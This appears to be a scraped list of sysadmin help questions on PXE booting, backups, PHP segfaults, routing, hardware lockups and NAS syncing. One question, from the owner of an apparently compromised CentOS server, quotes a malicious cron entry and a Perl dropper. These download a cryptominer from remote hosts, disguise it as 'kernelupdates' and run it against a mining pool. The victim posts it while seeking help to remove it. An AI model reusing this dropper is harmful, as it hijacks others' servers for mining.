  I have been struggling with a problem on my Windows Server 2008 for the past 4 - 5 hours and cannot figure out whats wrong. I have tried pretty much everything that I found on google and all the links are purple. Hopefully you guys can help me. I am running a Windows Server 2008 Standard edition with the latest updates as of today. Furthermore I am running a Windows Server 2003. Both are virtual machines on my ESXi 5 server. My network is: 192.168.10.0/24 W2k8: 192.168.10.251 is the PDC running ADS, DHCP and WDS W2k3: 192.168.10.253 AND 192.168.1.175 running Routing and Remote Access and ISA 2006 Enterprise In my internal network (192.168.10.0/24) I have my client machine (192.168.10.10) that runs a VMWare Workstation. I am trying to deploy Windows 7 Home Premium to a virtual machine on my VMWorkstation via PXE. I have set the Workstation's VM network adapter to "bridged" so that it uses the physical network adapter and is connected to my internal network. The DHCP pool is configured to give IP addresses from 192.168.10.10-192.168.10.15 (works for normal clients and is not used up) When I start my VM with the PXE I get the error: PXE-E52:proxyDHCP offers were received. No DHCP offers were received Apperently this means "that means that WDS responded but the DHCP server did not." People suggested to direct the traffic to both WDS and DHCP on the router, since everything is on the same subnet there is no need for that as the broadcast is seen by everyone (WDS and DHCP) No reservation for the virtual mac addrs is made on the DHCP. Furthermore it was suggested to configure the DHCP options: Option 60= PXEClient Option 66= WDS server name or IP address Option 67= Boot file name However, this is not recommended by Microsoft, I tried it and it did not solve my problem. The configuration on the WDS (My System is German therefore the actual naming might be different): PXE response tab: PXE responses is set to "ALL (known and unknown)" DHCP Tab: Do not listen to port 67 is NOT ticked - if I tick this I do not get any responses and the PXE errors gets PXE-E51 that neither DHCP or proxyDHCP were received DHCP-Option 60 for "PXEClient" is ticked The confusing part here is that it is advised in the tab to tick the first option since it is on the same server. Network Configuration Tab: Use the following IP-Address range for Multicast-IP-Address: 224.0.1.0 - 224.0.10.0 Thats not the default one, however it is in the allowed range. The UDP port range is the default since it is not advised to change them. I tried to change the "networkprofile" from 100mbits/1gbits and custom. I am running a 1gbit network with CAT6 cables and 1gbit netgear switch 5 ports. Everything is configured to use 1gbit. The WDS is authorised for the DHCP server. My ISA 2006 configuration: For the internal networking i have configured the following policy array: Allow protocols on internal network including the w2k3 host: 67,68,53,ICMP, 4011 UDP receive, 64001-6500 UDP send receive, 69 UDP send Routing and Remote Access I tried the DHCP relay agent configuration that was suggested as well, but that did not work I would highly appreciate anykind of help because I am pretty much done here with my nerves. Thank you very much in advance.

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• How to set up a centralized backup server with lots of offsite workstations, intermittent internet connectivity, and stubborn users?

  - by Zac B

  This might be an impossible question. Context: We have a bunch of computers across around 1000 users. We have a centralized office where 900 of the users work, most of the time. Most of the computers are laptops. They are very frequently coming on and off the network for hours at a time. Users often take their computers home and do lots of work from home. In addition, there are a handful of users who work elsewhere in the country, who are offline (no internet connection whatsoever) for more than half of the time they use their machines. All of the machines are Windows 7/XP. Problem: People are always losing data. One day someone accidentally deletes a bunch of files. The next day someone else installs a bad driver or tries to mess with something in system32 and needs a personal data backup/reinstall of Windows. Because of how many of our business operations are done without an internet connection, and how frequently computers come on- and offline, it's unfeasible to make users use network storage for all of their data. We tried giving them Dropboxes, and they stored their files elsewhere. We bought and deployed Altiris, and they uninstalled it and blamed us when they couldn't get files back that they accidentally deleted while they were offline and hadn't taken a backup in months. We tried teaching them backup best-practices, and using scheduled sync tools to upload things to the network drives, and they turned them off because they "looked like viruses". It doesn't help that many of these users are pretty high up in the business and are not amicable to any sort of "you need to do something regularly because we say so" solution. Question: Other than finding another job where IT is treated differently and users are willing to follow best practices, how would people recommend I implement a file backup solution that supports the following: Backs up to a centralized server over LAN or WAN whenever a network link becomes available, or on a schedule. Supports interrupted/resumed backups (and hopefully file-delta only backups), since connections to the network (WAN or LAN) are often slow and only open for half an hour or so. Supports relatively rapid, "I accidentally deleted the TPS reports! Oh no!" single-file recovery, ideally administered from the central backup server rather than the client PC. Supports local-to-local file delta backup on a schedule, so that users without a network connection for a few days can still retrieve accidental deletions or whatnot. Ideally, the local stored backups would be pushed up to the server whenever network link is available. Isn't configurable on the clients without certain credentials. Because the CFOs (who won't give up their admin rights on the domain) will disable it if they can. Backs up the entire hard drive. There are people who are self-righteous about storing things in C:\, or in the recycle bin, or in the C:\Windows dir (yes, I know). I'm fine integrating multiple products/solutions, or scripting different programs together myself (I'm a somewhat competent programmer), but I've been drawing a blank on where to start. Dropbox is folder-specific, Altiris doesn't cope with LAN outages or interrupted/resumed backups, Volume Shadow Copy is awesome for a local-to-local solution, but I don't know how to push days of stored shadow copies up to a server in a 2 hour window of network access. The company is fine with spending decent money on this, thousands (USD) on a server, and hundreds on clients, if necessary. I want to emphasize that this isn't a shopping list request. While I wish there was a program out there that did what I want, I've looked pretty hard, and not found anything that fits the bill. Instead, I'm hoping for ideas on where to start hacking things together from scratch/from different technologies to make something stable that works. Cheers!

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• How to troubleshoot a PHP script that causes a Segmenation Fault?

  - by johnlai2004

  I posted this on stackoverflow.com as well because I'm not sure if this is a programming problem or a server problem. I'm using ubuntu 9.10, apache2, mysql5 and php5. I've noticed an unusual problem with some of my php programs. Sometimes when visiting a page like profile.edit.php, the browser throws a dialogue box asking to download profile.edit.php page. When I download it, there's nothing in the file. profile.edit.php is supposed to be a web form that edits user information. I've noticed this on some of my other php pages as well. I look in my apache error logs, and I see a segmentation fault message: [Mon Mar 08 15:40:10 2010] [notice] child pid 480 exit signal Segmentation fault (11) And also, the issue may or may not appear depending on which server I deploy my application too. Additonal Details This doesn't happen all the time though. It only happens sometimes. For example, profile.edit.php will load properly. But as soon as I hit the save button (form action="profile.edit.php?save=true"), then the page asks me to download profile.edit.php. Could it be that sometimes my php scripts consume too much resources? Sample code Upon save action, my profile.edit.php includes a data_access_object.php file. I traced the code in data_access_object.php to this line here if($params[$this->primaryKey]) { $q = "UPDATE $this->tableName SET ".implode(', ', $fields)." WHERE ".$this->primaryKey." = ?$this->primaryKey"; $this->bind($this->primaryKey, $params[$this->primaryKey], $this->tblFields[$this->primaryKey]['mysqlitype']); } else { $q = "INSERT $this->tableName SET ".implode(', ', $fields); } // Code executes perfectly up to this point // echo 'print this'; exit; // if i uncomment this line, profile.edit.php will actually show 'print this'. If I leave it commented, the browser will ask me to download profile.edit.php if(!$this->execute($q)){ $this->errorSave = -3; return false;} // When I jumped into the function execute(), every line executed as expected, right up to the return statement. And if it helps, here's the function execute($sql) in data_access_object.php function execute($sql) { // find all list types and explode them // eg. turn ?listId into ?listId0,?listId1,?listId2 $arrListParam = array_bubble_up('arrayName', $this->arrBind); foreach($arrListParam as $listName) if($listName) { $explodeParam = array(); $arrList = $this->arrBind[$listName]['value']; foreach($arrList as $key=>$val) { $newParamName = $listName.$key; $this->bind($newParamName,$val,$this->arrBind[$listName]['type']); $explodeParam[] = '?'.$newParamName; } $sql = str_replace("?$listName", implode(',',$explodeParam), $sql); } // replace all ?varName with ? for syntax compliance $sqlParsed = preg_replace('/\?[\w\d_\.]+/', '?', $sql); $this->stmt->prepare($sqlParsed); // grab all the parameters from the sql to create bind conditions preg_match_all('/\?[\w\d_\.]+/', $sql, $matches); $matches = $matches[0]; // store bind conditions $types = ''; $params = array(); foreach($matches as $paramName) { $types .= $this->arrBind[str_replace('?', '', $paramName)]['type']; $params[] = $this->arrBind[str_replace('?', '', $paramName)]['value']; } $input = array('types'=>$types) + $params; // bind it if(!empty($types)) call_user_func_array(array($this->stmt, 'bind_param'), $input); $stat = $this->stmt->execute(); if($GLOBALS['DEBUG_SQL']) echo '<p style="font-weight:bold;">SQL error after execution:</p> ' . $this->stmt->error.'<p>&nbsp;</p>'; $this->arrBind = array(); return $stat; }

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• BluRay audio/video stuttering with PowerDVD 11, WinDVD 11 Pro, etc? Xonar/Auzen HD audio option?

  - by jrista

  I recently upgraded my Windows 7 MediaCenter HTPC due to a motherboard failure (really old motherboard and cpu, it was on its last legs.) I chose to upgrade to an i5 system with everything built into the motherboard. I did my due diligence, researched, and found some hardware that was within my budget. I ended up with: Core i5 2500K (3.3Ghz) Corsair XMS3 2x2Gb DDR3 (4Gb) ASUS P8H 61-M LE/CSM MicroCenter 64Gb SSD (Previous BluRay player, forget the brand) The system is pretty awesome, and plays everything I have perfectly. I almost went with an Atom solution, however there have been numerous notes that they do not play NetFlix Instant Watch well...and I am a heavy Netflix IW user. High definition BluRay rips work well, although they usually contain lower audio quality than the BluRay's they were ripped from. The real problem I am encountering is playing back BluRay video from discs. For some reason, I am encountering rather terrible stuttering problems with both the audio and video. The stuttering is synchronous in both, and occurs at seemingly random intervals. I've used PowerDVD 9, PowerDVD 11 trial, and WinDVD 11 Pro trial. All three have stuttering problems, although PowerDVD 11 seems to have the least. Watching system resource usage, CPU load is never above 20%, and memory usage tends to be a constant 1/3rd the total available system memory. When playback is fine, its superb...the video is crystal clear. The audio quality is ok, certainly not what I would expect from a BluRay disc. I did some research, and it seems that playing BluRay from a PC causes a downsampling of the audio? I am curious if the audio is my primary problem here, the cause of the stuttering I am encountering? When stuttering occurs, the audio gets REALLY bad, while the video just pauses momentarily every second until for whatever reason everything picks up and runs fine (usually after a few seconds to a couple minutes.) The audio chipset is a Realtek HD ALC887 8-channel, supposedly designed to support BluRay playback. Has anyone encountered any issues like this playing back bluray discs on a PC (namely with PowerDVD...WinDVD was FAR worse, and seemed to have real trouble even reading the discs, and I have no interest in fiddling with it further.) Is there any reason to suspect the video decoding as the problem?(Given how bad the audio gets during a stutter, and how clean the video remains, I am inclined to think the issue boils down to audio.) Is it even remotely possible that the motherboard, cpu, or ram are causing the stuttering (all three are pretty blazing fast...faster than the hardware that I replaced, which seemed to play BluRay fine with PowerDVD 9.) I've read a bit about the Asus Xonar HDAV 1.3 and the Auzen X-Fi HomeTheater HD home theater hi-fi audio cards. Seems they are the only way to get true full-quality, uncompressed BluRay audio bitstreaming over HDMI on a PC. None of the usual suspects seem to have these cards in stock, however. Are these cards worth getting? Are they even still available, or have they been discontinued (if so, that would indeed be sad...they sound simply fantastic.)

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• Routing not working correctly using the laravel framework

  - by samayres1992

  I'm using the book wrote by one of the guys that created laravel, so I'd like to think for the most part this code isn't horribly wrong. My server is setup with nginx serving all static files and apache2 serving php. My config for each are the following: apache2: <VirtualHost *> # Host that will serve this project. ServerName litl.it # The location of our projects public directory. DocumentRoot /var/www/litl.it/laravel/public # Useful logs for debug. CustomLog /var/log/apache.access.log common ErrorLog /var/log/apache.error.log # Rewrites for pretty URLs, better not to rely on .htaccess. <Directory /var/www/litl.it/laravel/public> <IfModule mod_rewrite.c> Options -MultiViews RewriteEngine On RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^ index.php [L] </IfModule> </Directory> nginx: server { # Port that the web server will listen on. listen 80; # Host that will serve this project. server_name litl.it *.litl.it; # Useful logs for debug. access_log /var/log/nginx.access.log; error_log /var/log/nginx.error.log; rewrite_log on; # The location of our projects public directory. root /var/www/litl.it/laravel/public; # Point index to the Laravel front controller. index index.php; location / { # URLs to attempt, including pretty ones. try_files $uri $uri/ /index.php?$query_string; } # Remove trailing slash to please routing system. if (!-d $request_filename) { rewrite ^/(.+)/$ /$1 permanent; } # PHP FPM configuration. location ~* \.php$ { proxy_pass http://127.0.0.1:8080; include /etc/nginx/proxy_params; try_files index index.php $uri =404; include /etc/nginx/fastcgi_params; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $document_root/php/$fastcgi_script_name; } # We don't need .ht files with nginx. location ~ /\.ht { deny all; } location @proxy { proxy_pass http://127.0.0.1:8080; include /etc/nginx/proxy_params; } error_page 403 /error/403.html; error_page 404 /error/404.html; error_page 405 /error/405.html; error_page 500 501 502 503 504 /error/5xx.html; location ^~ /error/ { internal; root /var/www/litl.it/lavarel/public/error; } } I'm including these server configs, as I feel this maybe the issue? Here is my incredibly basic routing file that should return "routing is working" on domain.com/test but instead it just returns the homepage. <?php Route::get('/', function() { return View::make('hello'); }); Route::get('/test', function() { return "routing is working"; }); Any ideas where I'm going wrong, I'm following this tutorial very closely and I'm confused why there is issue. Thanks!

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• PC runs very slowly for no apparent reason

  - by GalacticCowboy

  I have a Dell Latitude D820 that I've owned for about 2.5 years. It is a Core 2 Duo T7200 2.0GHz, with 2 GB of RAM, an 80 GB hard drive and an NVidia Quadro 120M video card. The computer was purchased in late November of 2006 with XP Pro, and included a free upgrade to Vista Business. (Vista was available on MSDN but not yet via retail, so the Vista Business upgrades weren't shipped until March of '07.) Since we had an MSDN subscription at the time, I installed Vista Ultimate on it pretty much as soon as I got it. It ran happily until sometime in the spring of 2007 when Media Center (which I had never used except to watch DVDs) started throwing some kind of bizarre SQL (CE?) error. This error would pop up at random times just while using the computer. Furthermore, Media Center would no longer start. I never identified the cause of this error. I had the Vista Business upgrade by this time, so I nuked the machine, installed XP and all the drivers, and then the Vista Business upgrade. Again, it ran happily for a few months and then started behaving badly once again. Vista Business doesn't have Media Center, so this exhibited completely unrelated symptoms. For no apparent reason and at fairly random times, the machine would suddenly appear to freeze up or run very slowly. For example, launching a new application window (any app) might take 30-45 seconds to paint fully. However, Task Manager showed very low CPU load, memory, etc. I tried all the normal stuff (chkdsk, defrag, etc.) and ran several diagnostic programs to try to identify any problems, but none found anything. It eventually reached the point that the computer was all but unusable, so I nuked it again and installed XP. This time I decided to stick with XP instead of going to Vista. However, within the past couple of months it has started to exhibit the same symptoms in XP that I used to see in Vista. The computer is still under Dell warranty until December, but so far they aren't any help unless I can identify a specific problem. A friend (partner in a now-dead business) has an identical machine that was purchased at the same time. His machine exhibits none of these symptoms, which leads me to believe it is a hardware issue, but I can't figure out how to identify it. Any ideas? Utilities? Seen something similar? At this point I can't even identify any pattern to the behavior, but would be willing to run a "stress test"-style app for as long as a couple days if I had any hope that it would find something. EDIT July 17 I'm testing jerryjvl's answer regarding the video card, though I'm not sure it fully explains the symptoms yet. This morning I ran a video stress test. The test itself ran fine, but immediately afterward the PC started acting up again. I left ProcExp open and various system processes were consuming 50-60% of the CPU but with no apparent reason. For example, "services.exe" was eating about 40%, but the sum of its child processes wasn't higher than about 5%. I left it alone for several minutes to settle down, and then it was fine again. I used the "video card stability test" from firestone-group.com. Its output isn't very detailed, but it at least exercises the hardware pretty hard. EDIT July 22 Thanks for your excellent suggestions. Here is an update on what I have tried so far. Ran memtest86, SeaTools (Seagate), Hitachi drive fitness test, video card stability test (mentioned above). The video card test was the only one that seemed to produce any results, though it didn't occur during the actual test. I defragged the drive (again...) with JkDefrag I dropped the video card

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• Intermittent lockups, unable to diagnose in over a year

  - by Magsol

  Here's a real doosie; I may just give my firstborn child to whomever helps me solve this problem. In July 2008, I assembled what would be my desktop computer for graduate school. Here are the specs of the machine I built: Thermaltake 750W PSU Corsair Dominator 2x2GB 240-pin SDRAM Thermaltake Tower Asus P5K Deluxe Motherboard Intel Core 2 Quad Q9300 2.5GHz CPU 2 x GeForce 8600 GT WD Caviar Blue 640GB hard drive CD burner DVD burner Soon thereafter, I ordered a new motherboard (because I was an idiot; that first motherboard supported CrossFire, not SLI), an Asus P5N-D. I was originally running Windows XP SP3. Pretty much right into the start of the fall semester, my desktop would simply lock up after awhile. If my system was largely idling, it would be after 1-3 days. If was gaming, it often happened an hour or two into my gaming session, indicating a link to activity level. Here's where it started getting interesting. I started looking at the system temps. The CPU was warmer than it should have been (~60s C), so I purchased some more efficient cooling compound a way better cooler for it. Now it hardly goes over 40 C. Intel was even kind enough to swap it out for free, just to rule it out. Lockups continued. The graphics cards were also running pretty warm: about 60 C idling. Removing one of them seemed to improve stability a little bit...as in, it wouldn't lock up quite as frequently, but still always eventually locked up. But it didn't matter which card I used or removed, the lockups continued. I reverted back to the original motherboard, the P5K Deluxe. Lockups continued. I purchased an entirely new motherboard, eVGA's nForce 750i. Lockups continued. Ran memtest86+ over and over and over, with no errors. Even RMA'd the memory. Lockups continued. Replaced the PSU with a Corsair 750W PSU. Lockups continued. Tried disconnecting all IDE drives (HDDs are SATA). Lockups continued. Replaced both graphics cards with a single Radeon HD 4980. Average temps are now always around 50 C when idling, 60 C only when gaming. Lockups continued. Throughout the whole ordeal, the system has been upgraded from Windows XP SP3 to Vista 32-bit, to Vista 64-bit, and is now at Windows 7 64-bit. Lockups have occurred at every step along the way (each OS was in place for at least a few months before the next upgrade). Edit: By "upgrade" I mean clean install each time. In addition to those reformats, I have performed many, many other reformats of the system and a reinstall of whatever OS had been previously installed in an attempt to rectify this problem, to no avail./Edit When the system locks up, there's no blue screen, no reboot, no error message of any kind. It simply freezes in place until I hit the reset button. Very, very rarely, once Windows boots back up, the system informs me that Windows has recovered from an error, but it can never find the source aside from some piece of hardware. I've swapped out every component in this computer, and there are more fans in it than I care to count...though for the sake of completeness: top 80mm case fan (out) rear 80mm case fan (out) rear 120mm case fan (out) front 120mm case fan (in) side 250mm case fan (in) giant CPU fan on-board motherboard fan (the eVGA board) triple-fan memory setup (came with the memory) PSU internal fan another 120mm fan I stuck on the underside of the video card to keep hot air from collecting at the bottom of the case I'm truly out of ideas. ANY help at all would be oh-so-very GREATLY appreciated. Thank you!

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• Static route works on one computer, not the other

  - by Dan

  I have been struggling with this for a couple days now, maybe I just need some people with a fresh perspective to figure out what the issue is. Basically I have a bunch of computers that are being routed through a specific gateway in order to access a web page that is hosted internally on a separate subnet. I set up static routes on all of the computers, and they all work... except one. Here's what a route print -4 looks like for a working computer (Windows 7): =========================================================================== Interface List 14...xx xx xx xx xx xx ......Broadcom 802.11n Network Adapter 11...xx xx xx xx xx xx ......Realtek PCIe GBE Family Controller 1...........................Software Loopback Interface 1 12...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter 13...00 00 00 00 00 00 00 e0 Microsoft 6to4 Adapter 17...00 00 00 00 00 00 00 e0 Teredo Tunneling Pseudo-Interface =========================================================================== IPv4 Route Table =========================================================================== Active Routes: Network Destination Netmask Gateway Interface Metric 0.0.0.0 0.0.0.0 10.xxx.xxx.230 10.xxx.xxx.94 20 10.zzz.zzz.0 255.255.255.0 10.xxx.xxx.147 10.xxx.xxx.94 21 10.xxx.xxx.0 255.255.255.0 On-link 10.xxx.xxx.94 276 10.xxx.xxx.94 255.255.255.255 On-link 10.xxx.xxx.94 276 10.xxx.xxx.255 255.255.255.255 On-link 10.xxx.xxx.94 276 127.0.0.0 255.0.0.0 On-link 127.0.0.1 306 127.0.0.1 255.255.255.255 On-link 127.0.0.1 306 127.255.255.255 255.255.255.255 On-link 127.0.0.1 306 224.0.0.0 240.0.0.0 On-link 127.0.0.1 306 224.0.0.0 240.0.0.0 On-link 10.xxx.xxx.94 276 255.255.255.255 255.255.255.255 On-link 127.0.0.1 306 255.255.255.255 255.255.255.255 On-link 10.xxx.xxx.94 276 =========================================================================== Persistent Routes: Network Address Netmask Gateway Address Metric 10.zzz.zzz.0 255.255.255.0 10.xxx.xxx.147 1 =========================================================================== And here's a route print -4 from the station that doesn't work (also Windows 7): =========================================================================== Interface List 10...xx xx xx xx xx xx ......Realtek PCIe GBE Family Controller 1...........................Software Loopback Interface 1 12...00 00 00 00 00 00 00 e0 Microsoft 6to4 Adapter 14...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #2 16...00 00 00 00 00 00 00 e0 Teredo Tunneling Pseudo-Interface =========================================================================== IPv4 Route Table =========================================================================== Active Routes: Network Destination Netmask Gateway Interface Metric 0.0.0.0 0.0.0.0 10.xxx.xxx.230 10.xxx.xxx.132 276 10.zzz.zzz.0 255.255.255.0 10.xxx.xxx.147 10.xxx.xxx.132 21 10.xxx.xxx.0 255.255.255.0 On-link 10.xxx.xxx.132 276 10.xxx.xxx.132 255.255.255.255 On-link 10.xxx.xxx.132 276 10.xxx.xxx.255 255.255.255.255 On-link 10.xxx.xxx.132 276 127.0.0.0 255.0.0.0 On-link 127.0.0.1 306 127.0.0.1 255.255.255.255 On-link 127.0.0.1 306 127.255.255.255 255.255.255.255 On-link 127.0.0.1 306 224.0.0.0 240.0.0.0 On-link 127.0.0.1 306 224.0.0.0 240.0.0.0 On-link 10.xxx.xxx.132 276 255.255.255.255 255.255.255.255 On-link 127.0.0.1 306 255.255.255.255 255.255.255.255 On-link 10.xxx.xxx.132 276 =========================================================================== Persistent Routes: Network Address Netmask Gateway Address Metric 10.zzz.zzz.0 255.255.255.0 10.xxx.xxx.147 1 =========================================================================== Both of these stations are running Windows 7. So essentially what I am trying to do here is route all traffic to the 10.zzz.zzz.0 subnet through the 10.xxx.xxx.147 gateway. Everything else should go through the 10.xxx.xxx.230 gateway. This is the intended behavior, and again it is working everywhere but that one station. I noticed that the Active Route metric costs differ between the two stations, but I am new to the routing table and I am not sure how that is impacting the behavior. I hope I have been able to explain the situation clearly. Any help would be much appreciated. I can provide any additional information if needed!

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• ./kernelupdates 100% cpu usage

  - by Vaibhav Panmand

  I have a CENTOS6 server running with some wordpress & tomcat websites. In the last two days it has been crashing continuously. After investigation we found that kernelupdates binary consuming 100% cpu on server. Process is mentioned below. ./kernelupdates -B -o stratum+tcp://hk2.wemineltc.com:80 -u spdrman.9 -p passxxx But this process seems invalid kernel update. Might be server is compromised and this process is installed by hacker, So I've killed this process & removed apache user's cron entries. But somehow this process started again after couple of hours & cron entries also restored, I am searching for the thing which is modifying cron jobs. Does this process belong to a mining process? How can we stop cronjob modification and clean the source of this process? Cron entry (apache user) /6 * * * * cd /tmp;wget http://updates.dyndn-web.com/.../abc.txt;curl -O http://updates.dyndn-web.com/.../abc.txt;perl abc.txt;rm -f abc* abc.txt #!/usr/bin/perl system("killall -9 minerd"); system("killall -9 PWNEDa"); system("killall -9 PWNEDb"); system("killall -9 PWNEDc"); system("killall -9 PWNEDd"); system("killall -9 PWNEDe"); system("killall -9 PWNEDg"); system("killall -9 PWNEDm"); system("killall -9 minerd64"); system("killall -9 minerd32"); system("killall -9 named"); $rn=1; $ar=`uname -m`; while($rn==1 || $rn==0) { $rn=int(rand(11)); } $exists=`ls /tmp/.ice-unix`; $cratch=`ps aux | grep -v grep | grep kernelupdates`; if($cratch=~/kernelupdates/gi) { die; } if($exists!~/minerd/gi && $exists!~/kernelupdates/gi) { $wig=`wget --version | grep GNU`; if(length($wig>6)) { if($ar=~/64/g) { system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;wget http://5.104.106.190/64.tar.gz;tar xzvf 64.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates"); } else { system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;wget http://5.104.106.190/32.tar.gz;tar xzvf 32.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates"); } } else { if($ar=~/64/g) { system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;curl -O http://5.104.106.190/64.tar.gz;tar xzvf 64.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates"); } else { system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;curl -O http://5.104.106.190/32.tar.gz;tar xzvf 32.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates"); } } } @prts=('8332','9091','1121','7332','6332','1332','9333','2961','8382','8332','9091','1121','7332','6332','1332','9333','2961','8382'); $prt=0; while(length($prt)<4) { $prt=$prts[int(rand(19))-1]; } print "setup for $rn:$prt done :-)\n"; system("cd /tmp/.ice-unix;./kernelupdates -B -o stratum+tcp://hk2.wemineltc.com:80 -u spdrman.".$rn." -p passxxx &"); print "done!\n"; Thanks in advance!

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• What NAS setup for two-way syncing over the internet?

  - by Jamse

  I have family living a few hours away and have a lot of files that I would like to share - especially lots of folders of digital photos, but also documents etc. - partially so they can see them, partially so I can have access when I visit them and partially for backup / redundancy purposes. My current hard drives on my main machine are getting pretty full anyway, and I have a MythTV box where my music is currently stored, so I was thinking of getting a NAS anyway. And at the other end my family have a few computers, so they would probably benefit from a NAS too. My general idea (though I'm willing to shift on this if there are any bright ideas about other ways of achieving my objectives) is to get a matching pair of NASs and have them sync over the internet. (To cut down on bandwidth use I would get them in sync locally to start with.) Having read around as best I can it seems that syncing over the internet is generally only a feature on quite high end units. However, I have seen that QNAP seem to feature this on their TS-110 and TS-210 units, which might work (they call it "remote replication"). They seem pretty reasonably priced for what they are, but of course with buying 2 of them and then adding the drives (say 1TB or 2TB each) I'd be looking at about £400 total. So, I'm looking for recommendations really. I don't want to spend more than the QNAPs would cost me, but any other ideas would be most appreciated. I am comfortable with technology and tinkering around, but I don't have as much time for that as I would like, so I guess I would favour solutions that require less tinkering rather than more (even though that's less fun!). Any thoughts would be welcome, as would any comments from people who have used the QNAP boxes for this. Thanks in advance. Some specifications: Two-way syncing. Changes made at either end should be synced to the other. There shouldn't be one unit that is effectively a read-only mirror of the other. Not real time. The syncing doesn't need to be real time - if it updated, say, daily overnight that would be fine. Set and forget. I would prefer minimal user interaction once set up - it would be great if syncs were scheduled and automatic. OS independence. I am running Windows XP plus an Ubuntu-based MythTV box. At the other end there are Windows 7 and Windows XP machines, plus a networked TV set top box which I think can play files off the network. Machine independence. I would favour a system that is self-contained, i.e. not reliant on any particular PC being switched on. If the system had enough else going for it I could perhaps work around it at this end, where I only have one PC that's used as such, but it would be harder at the other where there are at least two PCs that might be accessing the files. Notifications. I guess things like getting an email notification if the syncing fell over for any reason would be useful, though it's not a deal breaker. Update I've been digging some more and it looks like QNAP's Remote Replication function is actually just Rsync, so only really suitable for one-way syncing. I've posted on their forum to double check, but I think that's the case. In which case, I think the focus of my question is now either: do any reasonably-priced NASs support bidirectional syncing over the internet?, or has anyone had any luck installing onto NASs for this purpose? (Also, updated question to clarify that I'm after two-way syncing.)

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